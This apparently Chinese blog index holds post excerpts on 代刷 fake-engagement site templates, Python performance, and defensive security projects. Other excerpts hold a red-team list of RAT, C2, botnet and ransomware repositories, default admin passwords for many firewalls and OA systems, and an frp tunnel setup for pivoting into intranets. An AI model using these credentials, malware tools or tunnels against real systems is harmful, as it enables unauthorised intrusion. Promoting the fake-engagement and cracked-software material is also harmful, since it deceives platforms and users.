-
代刷网装修代码
将下面代码中“改成你的QQ”改成你的QQ号,改好后就可以复制到代刷网里使用了! 首页公告美化代码 <div class=”panel-body”> <li class=”list-group-item”><span class=”btn btn-danger btn-xs”>1</span> 特快名片赞日刷10-20万,急速赞日刷百万,空间人气日刷百万,快手/全民K歌日刷百万,欢迎下单!</li> <li class=”list-group-item”><span class=”btn btn-success btn-xs”>2</span> 温馨提示:部分业务请勿重复下单哦,想重复下单的话请先咨询客服后在下单!</li> <li class=”list-group-item”><span class=”btn btn-info btn-xs”>3</span> 下单之前请一定要看完该商品的注意事项再进行下单,避免出现错误,影响您的订单处理!</li> <li class=”list-group-item”><span class=”btn btn-warning btn-xs”>4</span> 一般下单后会在1-30分钟内将订单提交到供货商服务器,下单就秒,追求质量与速度! </li> <li class=”list-group-item”><span class=”btn btn-primary btn-xs”>5</span> 本站所有业务均为一手货源,下单成功后,享受最优质服务,有问题可以请联系客服! </li> <li class=”list-group-item”><span class=”btn btn-warning btn-xs”>6</span> QQ代刷平台宗旨 :价格低 速度快 质量好 坚决不做蜗牛单,欢迎体验! </li> <font color=”#000000″> <div class=”btn-group btn-group-justified”> <a target=”_blank” class=”btn btn-info” href=”http://wpa.qq.com/msgrd?v=3&uin=改成你的QQ&site=qq&menu=yes”>联系客服</a> <a target=”_blank” class=”btn btn-success” href=”/user/reg.php”>搭建分站</a> <a target=”_blank” class=”btn btn-danger” href=”APP下载地址”><i class=”fa fa-cloud-download”></i>APP下载</a> </div> </font> </div> 首页弹出公告美化代码 <div class=”modal-body”> <font color=”green”>全部为真实速度,我们只卖性价比高的,不卖垃圾低价的!下单后有问题务必三天内联系客服改成你的QQ处理</font> <h4 class=”modal-title” id=”myModalLabel”> <center> ↓本站订单客服QQ↓ </center></h4> <li class=”list-group-item” style=”text-align: center;”><img width=”50″ height=”50″ src=”http://q1.qlogo.cn/g?b=qq&nk=改成你的QQ&s=100&t=改成你的QQ” alt=”…” class=”img-circle” /><br />代刷吧-客服 &<font color=”#0099CC”><span style=”font-size:13px;”>改成你的QQ</span></font><font color=”#0099CC”></font> <center> <font color=”#0099CC”>如果发现下单后长期不开刷且补单无效<br /><span style=”font-size:13px;”>请联系客服补单!</span></font> </center></li> <button type=”button” class=”btn btn-block btn-info”><a href=”http://wpa.qq.com/msgrd?v=3&uin=改成你的QQ&site=qq&menu=yes” target=”_blank”><span style=”color:#ffffff;”>发送消息</span></a></button> </div> 在线下单提示代码 <div align=”center” style=”color:red;font-size: 3;” class=”list-group-item reed”>通知:SVIP VIP 黄 蓝 豪华绿、豪华黄、好莱坞 最快1小时内到账 欢迎爆单!</div> 底部代码 <li class=”list-group-item”> <center>友情链接 <a href=”http://#/” target=”_blank”><font color=”#336666″>代刷网</font></a>丨 <a href=”http://#/” target=”_blank”><font color=”#009966″>卡盟排行榜</font></a>丨 <a href="网站地址" target=”_blank”><font color=”#FF9933″>QQ技术网</font></a>丨 </center> </li> 滚动代码 <marquee scrollamount=2 FONT style=”COLOR: #FF00FF; FILTER: glow(color=FFFF66); FONT-FAMILY: 华文彩云; FONT-SIZE: 15pt; WIDTH: 100%”><B>代刷网欢迎您!真诚服务,一诺千金!我们用服务成名网络,我们用质量续写辉煌!</B></FONT></marquee> 音乐代码 <iframe frameborder=”no” border=”0″ marginwidth=”0″ marginheight=”0″ width=330 height=86 src=”//music.163.com/outchain/player?type=2&id=509313150&auto=1&height=66″></iframe> 以上代码完全可以满足你的代刷网所有装修需求,如果你想要更好看更多的美化代码,可以参考:代刷网装修美化代码大全。把网站打扮好了,就要去推广,让别人到你的网站来下单,你才能赚到钱哦。 ...
-
如何提高 Python 的运行速度?
Python 目前得到了众多程序员的喜爱,但是还是遭到一些人的诟病,原由之一就是认为它运行缓慢。 其实某个特定程序(无论使用何种编程语言)的运行速度是快还是慢,在很大程度上取决于编写该程序的开发人员自身素质,以及他们编写优化而高效代码的能力。 Medium 上一位小哥就详细讲了讲如何让 Python 提速 30%,以此证明代码跑得慢不是 Python的问题,而是代码本身的问题。 01时序分析 在开始进行任何优化之前,我们首先需要找出代码的哪些部分使整个程序变慢。有时程序的问题很明显,但是如果你一时不知道问题出在哪里,那么这里有一些可能的选项: 注意:这是我将用于演示的程序,它将进行指数计算 # slow_program.py from decimal import * def exp(x): getcontext().prec += 2 i, lasts, s, fact, num = 0, 0, 1, 1, 1 while s != lasts: lasts = s i += 1 fact *= i num *= x s += num / fact getcontext().prec -= 2 return +s exp(Decimal(150)) exp(Decimal(400)) exp(Decimal(3000)) 最简约的“配置文件” 首先,最简单最偷懒的方法——Unix时间命令。 ~ $ time python3.8 slow_program.py real 0m11,058s user 0m11,050s sys 0m0,008s 如果你只能知道整个程序的运行时间,这样就够了,但通常这还远远不够。 最详细的分析 另外一个指令是cProfile,但是它提供的信息过于详细了。 ~ $ python3.8 -m cProfile -s time slow_program.py 1297 function calls (1272 primitive calls) in 11.081 seconds Ordered by: internal time ncalls tottime percall cumtime percall filename:lineno(function) 3 11.079 3.693 11.079 3.693 slow_program.py:4(exp) 1 0.000 0.000 0.002 0.002 {built-in method _imp.create_dynamic} 4/1 0.000 0.000 11.081 11.081 {built-in method builtins.exec} 6 0.000 0.000 0.000 0.000 {built-in method __new__ of type object at 0x9d12c0} 6 0.000 0.000 0.000 0.000 abc.py:132(__new__) 23 0.000 0.000 0.000 0.000 _weakrefset.py:36(__init__) 245 0.000 0.000 0.000 0.000 {built-in method builtins.getattr} 2 0.000 0.000 0.000 0.000 {built-in method marshal.loads} 10 0.000 0.000 0.000 0.000 <frozen importlib._bootstrap_external>:1233(find_spec) 8/4 0.000 0.000 0.000 0.000 abc.py:196(__subclasscheck__) 15 0.000 0.000 0.000 0.000 {built-in method posix.stat} 6 0.000 0.000 0.000 0.000 {built-in method builtins.__build_class__} 1 0.000 0.000 0.000 0.000 __init__.py:357(namedtuple) 48 0.000 0.000 0.000 0.000 <frozen importlib._bootstrap_external>:57(_path_join) 48 0.000 0.000 0.000 0.000 <frozen importlib._bootstrap_external>:59(<listcomp>) 1 0.000 0.000 11.081 11.081 slow_program.py:1(<module>) 在这里,我们使用cProfile模块和time参数运行测试脚本,以便按内部时间(cumtime)对行进行排序。这给了我们很多信息,你在上面看到的行大约是实际输出的10%。由此可见,exp函数是罪魁祸首,现在我们可以更详细地了解时序和性能分析。 时序特定功能 现在我们知道了应当主要关注哪里,我们可能想对运行速度缓慢的函数计时,而不用测量其余的代码。为此,我们可以使用一个简单的装饰器: def timeit_wrapper(func): @wraps(func) def wrapper(*args, **kwargs): start = time.perf_counter() # Alternatively, you can use time.process_time() func_return_val = func(*args, **kwargs) end = time.perf_counter() print('{0:<10}.{1:<8} : {2:<8}'.format(func.__module__, func.__name__, end - start)) return func_return_val return wrapper 然后可以将此装饰器应用于待测功能,如下所示: @timeit_wrapper def exp(x): ... print('{0:<10} {1:<8} {2:^8}'.format('module', 'function', 'time')) exp(Decimal(150)) exp(Decimal(400)) exp(Decimal(3000)) 这给出我们如下输出: ~ $ python3.8 slow_program.py module function time __main__ .exp : 0.003267502994276583 __main__ .exp : 0.038535295985639095 __main__ .exp : 11.728486061969306 需要考虑的一件事是我们实际想要测量的时间。时间包提供time.perf_counter和time.process_time两个函数。他们的区别在于perf_counter返回的绝对值,包括你的Python程序进程未运行时的时间,因此它可能会受到计算机负载的影响。另一方面,process_time仅返回用户时间(不包括系统时间),这仅是你的过程时间。 02加速吧! 让Python程序运行得更快,这部分会很有趣!我不会展示可以解决你的性能问题的技巧和代码,更多地是关于构想和策略的,这些构想和策略在使用时可能会对性能产生巨大影响,在某些情况下,可以将速度提高30%。 使用内置数据类型 这一点很明显。内置数据类型非常快,尤其是与我们的自定义类型(例如树或链接列表)相比。这主要是因为内置程序是用C实现的,因此在使用Python进行编码时我们的速度实在无法与之匹敌。 使用lru_cache缓存/记忆 我已经在上一篇博客中展示了此内容,但我认为值得用简单的示例来重复它: import functools import time # caching up to 12 different results @functools.lru_cache(maxsize=12) def slow_func(x): time.sleep(2) # Simulate long computation return x slow_func(1) # ... waiting for 2 sec before getting result slow_func(1) # already cached - result returned instantaneously! slow_func(3) # ... waiting for 2 sec before getting result 上面的函数使用time.sleep模拟大量计算。第一次使用参数1调用时,它将等待2秒钟,然后才返回结果。再次调用时,结果已经被缓存,因此它将跳过函数的主体并立即返回结果。有关更多实际示例,请参见以前的博客文章。 使用局部变量 这与在每个作用域中查找变量的速度有关,因为它不只是使用局部变量还是全局变量。实际上,即使在函数的局部变量(最快),类级属性(例如self.name——较慢)和全局(例如,导入的函数)如time.time(最慢)之间,查找速度实际上也有所不同。 你可以通过使用看似不必要的分配来提高性能,如下所示: # Example #1 class FastClass: def do_stuff(self): temp = self.value # this speeds up lookup in loop for i in range(10000): ... # Do something with `temp` here # Example #2 import random def fast_function(): r = random.random for i in range(10000): print(r()) # calling `r()` here, is faster than global random.random() 使用函数 这似乎违反直觉,因为调用函数会将更多的东西放到堆栈上,并从函数返回中产生开销,但这与上一点有关。如果仅将整个代码放在一个文件中而不将其放入函数中,则由于全局变量,它的运行速度会慢得多。因此,你可以通过将整个代码包装在main函数中并调用一次来加速代码,如下所示: def main(): ... # All your previously global code main() 不访问属性 可能会使你的程序变慢的另一件事是点运算符(.),它在获得对象属性时被使用。此运算符使用__getattribute__触发字典查找,这会在代码中产生额外的开销。那么,我们如何才能真正避免(限制)使用它呢? # Slow: import re def slow_func(): for i in range(10000): re.findall(regex, line) # Slow! # Fast: from re import findall def fast_func(): for i in range(10000): findall(regex, line) # Faster! 当心字符串 使用模数(%s)或.format()进行循环运行时,字符串操作可能会变得非常慢。我们有什么更好的选择?根据雷蒙德·海廷格(Raymond Hettinger)最近的推特,我们唯一应该使用的是f-string,它是最易读,最简洁且最快的方法。根据该推特,这是你可以使用的方法列表——最快到最慢: f'{s} {t}' # Fast! s + ' ' + t ' '.join((s, t)) '%s %s' % (s, t) '{} {}'.format(s, t) Template('$s $t').substitute(s=s, t=t) # Slow! 生成器本质上并没有更快,因为它们被允许进行延迟计算,从而节省了内存而不是时间。但是,保存的内存可能会导致你的程序实际运行得更快。这是怎么做到的?如果你有一个很大的数据集,而没有使用生成器(迭代器),那么数据可能会溢出CPU L1缓存,这将大大减慢内存中值的查找速度。 在性能方面,非常重要的一点是CPU可以将正在处理的所有数据尽可能地保存在缓存中。你可以观看Raymond Hettingers的视频,他在其中提到了这些问题。 03结论 优化的首要规则是不要优化。但是,如果确实需要,那么我希望上面这些技巧可以帮助你。但是,在优化代码时要小心,因为它可能最终使你的代码难以阅读,因此难以维护,这可能超过优化的好处。 ...
-
网上一些比较优秀的开源安全项目
这是一份开源安全项目清单,收集了一些比较优秀的开源安全项目,以帮助甲方安全从业人员构建企业安全能力。 这些开源项目,每一个都在致力于解决一些安全问题。 项目收集的思路: 一个是关注互联网企业/团队的安全开源项目,经企业内部实践,这些最佳实践值得借鉴。 一个是来自企业安全能力建设的需求,根据需求分类,如WAF、HIDS、Git监控等。 这个收集是一个长期的过程,我在GitHub创建了这个项目,专门用来收集一些优秀的甲方安全项目。还有很多很好的免费开源项目可供选择,下面列出的还只是其中很少的一部分,我将持续更新这个项目,欢迎Star。 项目内容 互联网企业/团队,如YSRC、宜信CESRC、陌陌MomoSecurity、VKSRC等。 根据企业安全能力建设的需求,大致可以分为如下几种类型: 资产管理 https://github.com/Tencent/bk-cmdb 一个面向资产及应用的企业级配置管理平台。 https://github.com/bongmu/OpsManage 一款代码部署、应用部署、计划任务、设备资产管理平台。 https://github.com/Cryin/AssetsView 资产发现、网络拓扑管理系统。 https://www.ansible.com/ 一种集成 IT 系统的配置管理、应用部署、执行特定任务的开源平台。 https://docs.saltstack.com/en/latest/ 一个具备puppet与func功能为一身的集中化管理平台。 漏洞管理 https://github.com/creditease-sec/insight 洞察-宜信集应用系统资产管理、漏洞全生命周期管理、安全知识库管理三位一体的平台。 https://github.com/ysrc/xunfeng 一款适用于企业内网的漏洞快速应急,巡航扫描系统。 https://github.com/martinzhou2015/SRCMS 企业应急响应与缺陷管理系统 。 https://github.com/233sec/laravel-src 基于 Laravel 的开源安全应急响应中心平台。 https://github.com/DefectDojo/django-DefectDojo一个安全程序和漏洞管理工具。 https://github.com/jeffzh3ng/fuxi 一款开源的网络安全检测工具,适用于中小型企业对企业信息系统进行安全巡航检测。 https://gitee.com/gy071089/SecurityManageFramwork 企业内网安全管理平台,包含资产管理,漏洞管理,账号管理,知识库管、安全扫描自动化功能模块,可用于企业内部的安全管理。 安全开发 https://github.com/momosecurity/rhizobia_J JAVA安全SDK及编码规范。 https://github.com/momosecurity/rhizobia_P PHP安全SDK及编码规范。 自动化代码审计 http://www.fortify.net/ 静态代码扫描工具。【破解即免费】。 http://rips-scanner.sourceforge.net/ 用于PHP脚本漏洞的静态源代码分析器。 https://github.com/openstack/bandit/releases/ 基于Python AST的静态分析器,用来查找Python代码中存在的通用安全问题的工具。 https://github.com/WhaleShark-Team/cobra 一款源代码安全审计工具,支持检测多种开发语言源代码中的大部分显著的安全问题和漏洞。 https://github.com/yingshang/banruo 基于的fotify的自动化代码审计系统。 https://sourceforge.net/projects/visualcodegrepp/一种用于C++、C语言、VB、PHP、Java和PL/SQL的自动代码安全审查工具。 https://find-sec-bugs.github.io/ 用于Java Web应用程序的安全审计。 https://github.com/zsdlove/Hades 静态代码脆弱性检测系统 WAF https://github.com/loveshell/ngx_lua_waf 一个基于LUA-nginx的模块(openresty)的网络应用防火墙。 https://rasp.baidu.com/ 一款免费、开源的应用运行时自我保护产品。 https://www.modsecurity.org/ 一个入侵侦测与防护引擎。 https://www.jxwaf.com/ 基于openresty(nginx+lua)开发的下一代web应用防火墙。 https://github.com/xsec-lab/x-waf 适用于中小企业的云waf 。 https://github.com/C4o/Juggler 可以与waf联动 ,一个也许能骗到黑客的系统。 堡垒机 https://github.com/jumpserver/jumpserver 全球首款完全开源的堡垒机,是符合4A的专业运维审计系统 https://tp4a.com/ 一款简单易用的开源堡垒机系统,支持RDP/SSH/SFTP/Telnet 协议的远程连接和审计管理。 https://github.com/triaquae/CrazyEye 基于Python的开发的一款简单易用的IT审计堡垒机。 https://github.com/liftoff/GateOne 一款使用HTML5技术编写的网页版SSH终端模拟器。 https://github.com/jx-sec/jxotp 一款企业SSH登陆双因素认证系统。 https://www.tosec.com.cn/ 开源版只支持一部分功能,剩下的功能需要购买。 HIDS https://www.ossec.net/ 一款开源的IDS检测系统,包括了日志分析、完整性检查、rook-kit检测,基于时间的警报和主动响应。 http://wazuh.com/ 一个免费的,开源的企业级安全监控解决方案,用于威胁检测,完整性监控,事件响应和合规性。 https://suricata-ids.org/ 一个免费的开源,成熟,快速和强大的网络威胁检测引擎。 https://www.snort.org/ 网络入侵检测和预防系统。 https://osquery.io/ 一个SQL驱动操作系统检测和分析工具。 https://www.la-samhna.de/ 用于集中式主机完整性监控的全面开源解决方案。 http://www.scaramanga.co.uk/firestorm/ 一种极高性能的网络入侵检测系统(NIDS) https://github.com/mozilla/MozDef Mozilla防御平台,一套实时集成化平台,能够实现监控、反应、协作并改进相关保护功能。 https://github.com/ysrc/yulong-hids 开源的主机入侵检测系统。 https://github.com/EBWi11/AgentSmith-HIDS 轻量级的HIDS系统,低性能损失,使用LKM技术的HIDS工具。 http://www.codeforge.cn/article/331327 一个基于python的HostIDS系统。 https://securityonion.net/ 免费开源网络安全监控系统。 http://openwips-ng.org/ 一款开源的模块化无线IPS(Intrusion Prevention System,入侵防御系统)。 https://www.dictionary.com/browse/moloch 网络流量收集与分析。 网络流量分析 https://www.zeek.org/ 一个功能强大的网络分析框架。 https://www.kismetwireless.net/ 一种无线网络和设备检测器,嗅探器,驱动工具和WIDS(无线入侵检测)框架。 SIEM/SOC https://www.alienvault.com/products/ossim 开源安全信息管理系统,它是一个开源安全信息和事件的管理系统,集成了一系列的能够帮助管理员更好的进行计算机安全,入侵检测和预防的工具。 https://github.com/apache/metron 一种网络安全应用程序框架,使组织能够检测网络异常并使组织能够快速响应已识别的异常情况。 https://siemonster.com/ 以很小的成本监控整个网络。 https://github.com/smarttang/w3a_SOC Web日志审计与网络监控集合一身的平台。 http://opensoc.github.io/ 致力于提供一个可扩展和可扩展的高级安全分析工具。 https://www.prelude-siem.org/ 一个结合了其他各种开源工具的SIEM框架。 https://github.com/jeffbryner/MozDef Mozilla防御平台,一套实时集成化平台,能够实现监控、反应、协作并改进相关保护功能。 企业云盘 https://kodcloud.com/ 可道云,是基于Web技术的私有云在线文档管理解决方案。 https://www.seafile.com/home/ 一款开源的企业云盘,注重可靠性和性能。 https://nextcloud.com/ 一款开源网络硬盘系统。 https://owncloud.com/product/ 一个基于Linux的开源云项目。 http://cloudreve.org/ 以最低的成本快速搭建公私兼备的网盘系统。 https://github.com/filebrowser/filebrowser/releases/latest 一个基于GO的轻量级文件管理系统。 https://filerun.com/ 一款强大的多功能网盘和文件管理器。 https://github.com/KOHGYLW/kiftd 一款专门面向个人、团队和小型组织的私有网盘系统。 钓鱼网站系统 https://github.com/hacklcx/HFish 一款基于 Golang 开发的跨平台多功能主动诱导型蜜罐框架系统。 https://github.com/SecurityPaper/mail_fishing 基于thinkphp写的一个内部钓鱼网站系统。 https://github.com/gophish/gophish 开源钓鱼工具包。 https://github.com/p1r06u3/phishing 甲方网络钓鱼的安全实践。 https://github.com/rsmusllp/king-phisher/ 一款专业的钓鱼活动工具包。 安全运维 https://github.com/HandsomeOne/Scout URL 监控系统。 https://github.com/qunarcorp/open_dnsdb 开源的基于Python语言的DNS管理系统 。 https://github.com/cuckoosandbox/cuckoo 一个自动化的动态恶意软件分析系统。 https://github.com/ytisf/theZoo 一个恶意软件分析项目。 https://code.google.com/archive/p/opendlp/ 一个免费的,开源的,基于代理和无代理的,集中管理,可大规模分发的数据丢失防护工具。 GitHub监控 https://github.com/FeeiCN/GSIL GitHub敏感信息泄漏工具。 https://github.com/0xbug/Hawkeye 监控github代码库,及时发现员工托管公司代码到GitHub行为并预警,降低代码泄露风险。 https://github.com/MiSecurity/x-patrol GitHub的泄露扫描系统–MiSecurity。 https://github.com/VKSRC/Github-Monitor 用于监控Github代码仓库的系统。 https://github.com/madneal/gshark 轻松有效地扫描Github中的敏感信息。 https://www.gitguardian.com/ 实时扫描GitHub活动的解决方案。 https://github.com/4×99/code6 码小六 – GitHub 代码泄露监控系统。 蜜罐技术 https://github.com/4×99/code6 多蜜罐平台,可视化分析。 https://github.com/hacklcx/HFish 一种基于Golang开发的跨平台多功能主动诱导型蜜罐框架系统。 https://github.com/p1r06u3/opencanary_web 蜜罐的网络管理平台。 http://www.honeyd.org/ 一个小型守护进程,可以在网络上创建虚拟主机。 https://github.com/mushorg/glastopf Python Web应用程序蜜罐。 https://github.com/cowrie/cowrie 一种中等交互式SSH和Telnet蜜罐,用于记录暴力攻击和攻击者执行的shell交互。 https://github.com/desaster/kippo 一个中等交互式SSH蜜罐,用于记录暴力攻击,最重要的是,攻击者执行的整个shell交互。 https://github.com/DinoTools/dionaea 一个低交互的蜜罐,能够模拟FTP/HTTP/MSSQL/MYSQL/SMB等服务。 https://github.com/mushorg/conpot 一个ICS蜜罐,其目标是收集有关针对工业控制系统的敌人的动机和方法的情报。 https://github.com/gbrindisi/wordpot 一个Wordpress蜜罐,可以检测用于指纹wordpress安装的插件,主题,timthumb和其他常用文件的探针。 https://github.com/jordan-wright/elastichoney 一个简单的Elasticsearch蜜罐。 https://github.com/honeynet/beeswarm 一个蜜罐项目,为蜜罐的配置、部署和管理提供了便利。 https://github.com/pwnlandia/shockpot 一个Web应用程序蜜罐,旨在找到试图利用Bash远程代码漏洞的攻击者,CVE-2014-6271。 风控系统 https://github.com/threathunterX/nebula 星云风控系统是一套互联网风控分析和检测平台。 https://github.com/ysrc/Liudao 六道”实时业务风控系统。 https://github.com/momosecurity/aswan 陌陌风控系统 静态规则引擎,零基础简易便捷的配置多种复杂规则,实时高效管控用户异常行为。 https://www.drools.org/ 基于java的功能强大的开源规则引擎。 文章转至于 https://github.com/Bypass007/Safety-Project-Collection ...
-
HW工具之Red Team远程控制软件
开源远程管理控制 https://github.com/cobbr/Covenant 红队协作的.NET C2框架 https://github.com/byt3bl33d3r/SILENTTRINITY 由Python和.NET DLR写的C2框架 https://github.com/malwaredllc/byob 僵尸网络生成框架 https://github.com/panda-re/lava 大规模向程序中植入恶意程序 https://github.com/proxycannon/proxycannon-ng 构建攻击僵尸网络 https://github.com/deadPix3l/CryptSky/ 勒索软件 https://github.com/jgamblin/Mirai-Source-Code C.MIRAI蠕虫病毒.6K。 https://github.com/NYAN-x-CAT/Lime-RAT VB.勒索病毒 https://github.com/The404Hacking/AndroRAT JAVA.Android平台一对多带界面。 https://github.com/AhMyth/AhMyth-Android-RAT Smali.Android平台一对多带界面。goodjob。 https://github.com/BlackHacker511/BlackRAT JAVA.跨平台 https://github.com/tiagorlampert/CHAOS GO.win远控,可过大部分杀软。welljob。 https://github.com/Ne0nd0g/merlin GO.c2通讯,多session https://github.com/0x09AL/Browser-C2 GO.利用chrome以浏览器的形式连接C2服务器 https://github.com/Tiked/Client GO.Windows, OS X and linux RAT client https://github.com/yuanyuanxiang/SimpleRemoter C++/C.基于大灰狼gh0st的远程控制器 https://github.com/xdnice/PCShare C++.远程控制软件,可以监视目标机器屏幕、注册表、文件系统等。0.2k。 https://github.com/quasar/QuasarRAT C#.一对多,界面。goodjob。2.4k。 https://github.com/TheM4hd1/Vayne-RaT C#.一对多,界面 https://github.com/TheSph1nx/RT-101 C#.一对多,界面 https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp C#.一对多,界面 https://github.com/DannyTheSloth/VanillaRat C#.SIMPLE,界面 https://github.com/brunull/pace C#.SIMPLE,界面 https://github.com/5alt/ZeroRAT powershell.windows上的一句话远控,只需要执行一条指令不需要写文件 https://github.com/nettitude/PoshC2 PowerShell\C#.远控工具,有win提权组件 https://github.com/mwsrc/njRAT VB.源码 https://github.com/euphrat1ca/njRAT-v0.7d vb.常见蠕虫远控,有很多变种,多session带界面 https://github.com/peterpt/fuzzbunch PY2.方程式NSA漏洞利用远控RAT,配有自动化安装脚本与gui界面。永恒之蓝、永恒浪漫、永恒冠军、双星脉冲 https://github.com/n1nj4sec/pupy PY.Windows, Linux, OSX, Android跨平台,多session。groodjob。4.7k。 https://github.com/nathanlopez/Stitch PY.Windows、Mac OSX、Linux跨平台。welljob。1.3k。 https://github.com/zerosum0x0/koadic PY3.大宝剑利用JScript/VBScript 进行控制,在内存中运行shell.GOODJOB。1.2K。 https://github.com/Mr-Un1k0d3r/ThunderShell PY2.CLI与web端,内存加载,RC4加密HTTP传输 https://github.com/Ridter/MyJSRat PY2.利用js后门,配合chm、hta可实现很多后门方式。evi1cg.me/archives/chm_backdoor.html。w https://github.com/EmpireProject/Empire Empire这是一个基于 poweshell 的命令执行框架,可以完成大部分内网渗透中所需要的功能。 https://github.com/byt3bl33d3r/gcat Gcat这个工具可以使用 gmail 作为 C&C 服务器,是用 python 开发的。 https://github.com/trustedsec/trevorc2 TrevorC2这个工具可以自定义网站,将控制的命令和参数隐藏在网页源代码中,这样更加隐蔽,不容易被人察觉。 https://github.com/1ookup/trochilusTrochilus(蜂鸟)木马,支持TCP,UDP,HTTP,HTTPS、用C ++编写(使用VS2010) 多协议远控shell ttps://blog.csdn.net/Fly_hps/article/list/8?/ FLy_鹏程万里【基础篇】———— 隐匿攻击之 https://github.com/inquisb/icmpsh C.Simple reverse ICMP shell https://github.com/jamesbarlow/icmptunnel/ C.构建icmp隧道 https://github.com/iagox86/dnscat2 RUBY/C.cs结构,利用DNS协议进行端对端传输 https://github.com/ahhh/Reverse_DNS_Shell PY.通过dns传输 https://github.com/Coalfire-Research/Slackor GO,PY3.基于slack框架命令控制,利用dns服务通讯。集成spookflare/impacket/pypykatz。simple。goodjob。 商业版 https://cobaltstrike.com/ Cobalt Strike 这个工具在实际的攻击活动中应用广泛,有很好的操作界面,功能强大,有非常多的渗透测试人员使用。 https://github.com/rapid7/metasploit-framework Metasploit Framework 这是国内外都非常出名,使用非常广泛的集漏洞扫描与利用于一身的渗透测试框架。 协议分析 https://www.freebuf.com/articles/paper/167917.html Gh0st大灰狼RAT家族通讯协议分析 https://www.freebuf.com/articles/terminal/184930.html 新Njrat木马(Bladabindi)的新功能源码分析 https://www.freebuf.com/articles/network/122244.html 史上最全的njRAT通信协议分析 https://www.anquanke.com/post/id/182122 分析一款远控木马的通讯机制 https://www.anquanke.com/post/id/184263 分析asyncRAT远控的数据包格式及通讯建立过程 ...
-
最新彩虹代刷仿小储云模板
源码介绍 之前一个老哥分享了这个模板,后来链接不行了取消分享了。 如今特地从新把模板优化了下 使用方法就是下载了直接解压到代刷根目录下的template 网盘下载:https://dufeng.lanzoui.com/iK4WDj31hni 点击链接加入群聊下载:https://jq.qq.com/?_wv=1027&k=FDmmUxxL ...
-
常见web系统默认口令总结
前言 在渗透测试过程中,最常见的情况就是遇到弱口令得到入口从而攻陷整个系统,由于很多系统管理员缺少安全意识,口令往往是系统默认设置的口令。本文总结了常见的系统默认口令以及默认口令在线查询网站。 OA 致远OA 1、system用户(默认密码:system,对应A8的系统管理员、A6的单位管理员) 2、group-admin(默认密码:123456,对应A8集团版的集团管理员) 3、admin1(默认密码:123456,对应A8企业版的单位管理员) 4、audit-admin(默认密码:123456,对应审计管理员) 泛微OA 用户名:sysadmin 密码:1 安全设备 常见安全设备 天融信防火墙 用户名:superman 密码:talent 天融信防火墙 用户名:superman 密码:talent!23 联想网御防火墙 用户名:admin 密码:leadsec@7766、administrator、bane@7766 深信服防火墙 用户名:admin 密码:admin 启明星辰 用户名:admin 密码:bane@7766 用户名:admin 密码:admin@123 juniper 用户名:netscreen 密码:netscreen Cisco 用户名:admin 密码:cisco Huawei 用户名:admin 密码:Admin@123 H3C 用户名:admin 密码:admin 绿盟IPS 用户名: weboper 密码: weboper 网神防火墙GE1 用户名:admin 密码:firewall 深信服VPN:51111端口 密码:delanrecover 华为VPN:账号:root 密码:mduadmin 华为防火墙:admin 密码:Admin@123 EudemonJuniper防火墙:netscreen netscreen 迪普 192.168.0.1 默认的用户名和密码(admin/admin_default) 山石 192.168.1.1 默认的管理账号为hillstone,密码为hillstone 安恒的明御防火墙 admin/adminadmin 某堡垒机 shterm/shterm 天融信的vpn test/123456 阿姆瑞特防火墙admin/manager 明御WEB应用防火墙admin/admin 明御安全网关admin/adminadmin 天清汗马admin/veuns.fw audit/veuns.audit 网康日志中心ns25000/ns25000 网络安全审计系统(中科新业)admin/123456 LogBase日志管理综合审计系统admin/safetybase 中新金盾硬件防火墙admin/123 kill防火墙(冠群金辰)admin/sys123 黑盾防火墙admin/admin 绿盟安全产品 IPS入侵防御系统、SASH运维安全管理系统、SAS安全审计系统、DAS数据库审计系统、RSAS远程安全评估系统、WAF WEB应用防护系统、UTS威胁检测系统 sysauditor/sysauditor sysmanager/sysmanager supervisor/supervisor maintainer/maintainer webpolicy/webpolicy sysadmin/sysadmin conadmin/conadmin supervis/supervis webaudit/webaudit sysadmin/sysadmin conadmin/nsfocus weboper/weboper auditor/auditor weboper/weboper nsadmin/nsadmin admin/nsfocus admin/admin shell/shell 默认密码在线查询网站 CIRT.net https://cirt.net/passwords 默认密码列表 https://datarecovery.com/rd/default-passwords/ 工具猫路由器默认密码查询 https://toolmao.com/baiduapp/routerpwd/ 路由器默认密码查询 https://www.cleancss.com/router-default/ Internet上最全面的默认路由器密码列表 https://portforward.com/router-password/ ...
-
内网穿透工具frp
渗透中面对的大部分目标除了暴露在互联网的部分,还有隐藏在内网的大量资产,这部分资产往往无法联通外网,很少暴露在攻击者面前,与此同时安全一般也没有外部资产做的全面 。如果我们从某一外部互联网入口成功进入了内网,就可以利用frp工具搭建起一个隧道,对这些资产进行测试。 项目地址 https://github.com/fatedier/frp 通过release页面下载对应系统的压缩包解压即可 基本使用介绍 服务端配置 1 2 3 4 # frps.ini [common] bind_port = 7000 token = www.baidu.com 使用如下命令开启服务器 1 frps -c frps.ini 客户端配置(socks5隧道) 配置客户端时,要注意common中的ip和端口指向服务器,token与服务器中保持一致,每个socks代理,需要单独起plugin_name,并使用不同的remote_port。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [common] server_addr = x.x.x.x server_port = 7000 tls_enable = true token = www.baidu.com pool_count = 5 protocol = tcp #协议类型 health_check_type = tcp health_check_interval_s = 100 [socks-001] type = tcp remote_port = 6666 #代理的端口 plugin = socks5 #使用的协议 plugin_user = admin plugin_passwd = www.baidu.com use_encryption = true #是否加密 use_compression = true 使用如下命令开启客户端 1 2 3 4 普通模式: frpc -c frpc.ini 后台无回显模式: nohup frpc -c frpc.ini & 此时在proxyfire等代理工具中配置: ip为server_ip port为remote_port 用户为plugin_user 密码为plugin_passwd 即可将客户端网络作为代理出口使用 客户端配置(web转发) 1 2 3 4 5 6 7 8 9 # frpc.ini [common] server_addr = x.x.x.x server_port = 7000 token = www.baidu.com [web] type = http local_port = 8080 custom_domains = www.yourdomain.com 客户端配置(ssh转发) 1 2 3 4 5 6 7 8 9 10 # frpc.ini [common] server_addr = x.x.x.x server_port = 7000 token = www.baidu.com [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 ...
-
攻击溯源的排查范围
